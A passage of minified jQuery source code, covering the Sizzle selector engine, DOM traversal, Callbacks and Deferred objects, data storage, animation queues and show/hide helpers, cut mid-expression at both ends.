e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&v(p,e)?-1:t==C||t.ownerDocument==p&&v(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&S&&!N[t+" "]&&(!s||!s.test(t))&&(!y||!y.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!=C&&T(e),v(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!=C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&D.call(b.attrHandle,t.toLowerCase())?n(e,t,!S):void 0;return void 0!==r?r:d.attributes||!S?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+"").replace(re,ie)},se.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(j),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace($," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,y){var v="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===y?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=v!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(v){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[E]||(a[E]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[E]||(a[E]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[E]||(a[E]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[k,d]),a===e))break;return(d-=y)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error("unsupported pseudo: "+e);return a[E]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace(B,"$1"));return s[E]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||"")||se.error("unsupported lang: "+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=S?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ye(function(){return[0]}),last:ye(function(e,t){return[t-1]}),eq:ye(function(e,t,n){return[n<0?n+t:n]}),even:ye(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ye(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ye(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ye(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&"parentNode"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[k,p];if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[E]||(e[E]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===k&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,y,v,e){return y&&!y[E]&&(y=Ce(y)),v&&!v[E]&&(v=Ce(v,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?v||(e?d:l||y)?[]:t:f;if(g&&g(f,p,n,r),y){i=Te(p,u),y(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(v||d){if(v){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);v(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=v?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),v?v(null,t,p,r):H.apply(t,p)})}function Se(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[E]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(B,"$1"),t,s<n&&Se(e.slice(s,n)),n<r&&Se(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace(B," ")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,y,v,m,x,r,i=[],o=[],a=A[e+" "];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Se(t[n]))[E]?i.push(a):o.push(a);(a=A(e,(y=o,m=0<(v=i).length,x=0<y.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=k+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==C||(T(o),n=!S);while(s=y[a++])if(s(o,t||C,n)){r.push(o);break}i&&(k=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=v[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+v.length&&se.uniqueSort(r)}return i&&(k=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&S&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ve(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!S,n,!t||ee.test(e)&&ve(t.parentNode)||t),n},d.sortStable=E.split("").sort(j).join("")===E,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement("fieldset"))}),ce(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||fe("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute("disabled")})||fe(R,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);E.find=d,E.expr=d.selectors,E.expr[":"]=E.expr.pseudos,E.uniqueSort=E.unique=d.uniqueSort,E.text=d.getText,E.isXMLDoc=d.isXML,E.contains=d.contains,E.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&E(e).is(n))break;r.push(e)}return r},T=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},k=E.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?E.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?E.grep(e,function(e){return e===n!==r}):"string"!=typeof n?E.grep(e,function(e){return-1<i.call(n,e)!==r}):E.filter(n,e,r)}E.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?E.find.matchesSelector(r,e)?[r]:[]:E.find.matches(e,E.grep(t,function(e){return 1===e.nodeType}))},E.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(E(e).filter(function(){for(t=0;t<r;t++)if(E.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)E.find(e,i[t],n);return 1<r?E.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&k.test(e)?E(e):e||[],!1).length}});var D,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(E.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof E?t[0]:t,E.merge(this,E.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:S,!0)),N.test(r[1])&&E.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=S.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(E):E.makeArray(e,this)}).prototype=E.fn,D=E(S);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}E.fn.extend({has:function(e){var t=E(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(E.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&E(e);if(!k.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&E.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?E.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?i.call(E(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(E.uniqueSort(E.merge(this.get(),E(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),E.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return h(e,"parentNode")},parentsUntil:function(e,t,n){return h(e,"parentNode",n)},next:function(e){return O(e,"nextSibling")},prev:function(e){return O(e,"previousSibling")},nextAll:function(e){return h(e,"nextSibling")},prevAll:function(e){return h(e,"previousSibling")},nextUntil:function(e,t,n){return h(e,"nextSibling",n)},prevUntil:function(e,t,n){return h(e,"previousSibling",n)},siblings:function(e){return T((e.parentNode||{}).firstChild,e)},children:function(e){return T(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(A(e,"template")&&(e=e.content||e),E.merge([],e.childNodes))}},function(r,i){E.fn[r]=function(e,t){var n=E.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=E.filter(t,n)),1<this.length&&(H[r]||E.uniqueSort(n),L.test(r)&&n.reverse()),this.pushStack(n)}});var P=/[^\x20\t\r\n\f]+/g;function R(e){return e}function M(e){throw e}function I(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}E.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},E.each(e.match(P)||[],function(e,t){n[t]=!0}),n):E.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){E.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return E.each(arguments,function(e,t){var n;while(-1<(n=E.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<E.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},E.extend({Deferred:function(e){var o=[["notify","progress",E.Callbacks("memory"),E.Callbacks("memory"),2],["resolve","done",E.Callbacks("once memory"),E.Callbacks("once memory"),0,"resolved"],["reject","fail",E.Callbacks("once memory"),E.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return E.Deferred(function(r){E.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,R,s),l(u,o,M,s)):(u++,t.call(e,l(u,o,R,s),l(u,o,M,s),l(u,o,R,o.notifyWith))):(a!==R&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){E.Deferred.exceptionHook&&E.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==M&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(E.Deferred.getStackHook&&(t.stackTrace=E.Deferred.getStackHook()),C.setTimeout(t))}}return E.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:R,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:R)),o[2][3].add(l(0,e,m(n)?n:M))}).promise()},promise:function(e){return null!=e?E.extend(e,a):a}},s={};return E.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=E.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;E.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&W.test(e.name)&&C.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},E.readyException=function(e){C.setTimeout(function(){throw e})};var F=E.Deferred();function $(){S.removeEventListener("DOMContentLoaded",$),C.removeEventListener("load",$),E.ready()}E.fn.ready=function(e){return F.then(e)["catch"](function(e){E.readyException(e)}),this},E.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--E.readyWait:E.isReady)||(E.isReady=!0)!==e&&0<--E.readyWait||F.resolveWith(S,[E])}}),E.ready.then=F.then,"complete"===S.readyState||"loading"!==S.readyState&&!S.documentElement.doScroll?C.setTimeout(E.ready):(S.addEventListener("DOMContentLoaded",$),C.addEventListener("load",$));var B=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)B(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(E(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=E.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[X(t)]=n;else for(r in t)i[X(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][X(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(X):(t=X(t))in r?[t]:t.match(P)||[]).length;while(n--)delete r[t[n]]}(void 0===t||E.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!E.isEmptyObject(t)}};var Y=new G,Q=new G,J=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,K=/[A-Z]/g;function Z(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(K,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:J.test(i)?JSON.parse(i):i)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}E.extend({hasData:function(e){return Q.hasData(e)||Y.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return Y.access(e,t,n)},_removeData:function(e,t){Y.remove(e,t)}}),E.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=Q.get(o),1===o.nodeType&&!Y.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=X(r.slice(5)),Z(o,r,i[r]));Y.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){Q.set(this,n)}):B(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=Q.get(o,n))?t:void 0!==(t=Z(o,n))?t:void 0;this.each(function(){Q.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){Q.remove(this,e)})}}),E.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Y.get(e,t),n&&(!r||Array.isArray(n)?r=Y.access(e,t,E.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=E.queue(e,t),r=n.length,i=n.shift(),o=E._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){E.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Y.get(e,n)||Y.access(e,n,{empty:E.Callbacks("once memory").add(function(){Y.remove(e,[t+"queue",n])})})}}),E.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?E.queue(this[0],t):void 0===n?this:this.each(function(){var e=E.queue(this,t,n);E._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&E.dequeue(this,t)})},dequeue:function(e){return this.each(function(){E.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=E.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=Y.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var ee=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,te=new RegExp("^(?:([+-])=|)("+ee+")([a-z%]*)$","i"),ne=["Top","Right","Bottom","Left"],re=S.documentElement,ie=function(e){return E.contains(e.ownerDocument,e)},oe={composed:!0};re.getRootNode&&(ie=function(e){return E.contains(e.ownerDocument,e)||e.getRootNode(oe)===e.ownerDocument});var ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&ie(e)&&"none"===E.css(e,"display")};function se(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return E.css(e,t,"")},u=s(),l=n&&n[3]||(E.cssNumber[t]?"":"px"),c=e.nodeType&&(E.cssNumber[t]||"px"!==l&&+u)&&te.exec(E.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)E.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,E.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ue={};function le(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=Y.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ae(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ue[s])||(o=a.body.appendChild(a.createElement(s)),u=E.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ue[s]=u)))):"none"!==n&&(l[c]="none",Y.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}E.fn.extend({show:function(){return le(this,!0)},hide:function(){return le(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?E(this).show():E(this).hide()})}});var 